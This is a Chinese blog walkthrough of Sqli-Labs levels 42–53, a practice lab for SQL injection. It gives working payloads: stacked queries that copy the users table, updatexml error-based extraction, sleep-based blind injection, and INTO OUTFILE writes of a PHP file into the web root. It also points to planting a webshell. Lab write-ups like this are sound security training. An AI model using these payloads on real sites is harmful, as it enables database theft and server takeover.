Sqli-Labs 闯关 less 42-53

Less 42

这一关一进去看着像前面的二次注入。发现也注入不了。。

 

 

我们观察代码发现这一关用的是堆叠注入。

 

 

 

 

 

 登陆的这里可以看到login_password登陆的时候并没有使用mysqli_real_escape_string来进行过滤,然后直接带去sql语句进行执行了。

在进行post的时候,username随机就可以,a';create table qiyuan2 like users;insert into qiyuan2 select *from users; #

虽然显示还是错误的,但是我们数据库是有的。

 

 

Less 43

与42关基本一样。区别在包裹数据变成,')

Less 44

与42关基本一样。区别在没有回显信息。

Less 45

与42关基本一样。区别在没有回显信息,并且包裹变成  ')

Less 46

 

这一关主要考的是 order by 注入。我们看源码发现,让我们输入sort命令来查询id。

我们先输一个 ?sort=1,试试。。额。。发现直接把用户名密码都爆出来了,我们查查网页看看这一关还有没有别的内容。

 

 

查到:

elect * from users order by 1 desc ;使用降序(倒序)排列

select * from users order by 1 asc ;使用升序(正序)排列

 

select right(database(),1);从右至左输出第一个字母

select lesft(database(),1);从左至右输出第一个字母

 

lines terminated by 666  每行输出以666结尾

我们来试试别的,看看能不能得到其他信息:

一、报错注入:

获取数据库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))

 

 二、还可以用延时注入的方法

?sort=1 and if(length(database())=8  ,1,sleep(5))

 

 

Less 47

基本与46关相同,只是闭合语句变成了  ')。

 

Less 48

这一关与46关差不多,只是没有了报错回显,只能用盲注的方法。

也就是上面的第二种方法,?sort=1 and if(length(database())=8  ,1,sleep(5))

 

 

Less 49

与上一关基本相同,没有回显,闭合变成了 1') ,可以用盲注方法。。

?sort=1' and if(length(database())=8  ,1,sleep(5))--+

 

 

 

前面46-49关也可以使用outfile函数:

  ?sort=1 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\qiyuan.php'--+

 

Less 50

这一关我们可以用堆叠注入来创建新的users表:

?sort=1;create table qiyuano like users;%23

 

 

 

 

 还有别的方法可以使用,比如前面的延时注入,报错注入还有写一句话木马配合中国菜刀。。。这些都可以就不再赘述了

 

Less 51

与50关基本相同,只是 order by语句数据包裹变成了  1'  。

Less 52

 

与50关基本相同,但是输出不了报错信息。所以不能用报错注入了,其他方法可以。

 

Less 53

与50关基本相同,输出不了报错信息,所以也不能用报错注入,且数据包裹变成了 1' 。

 

posted @ 2020-02-13 19:28  戚源  阅读(338)  评论(0编辑  收藏  举报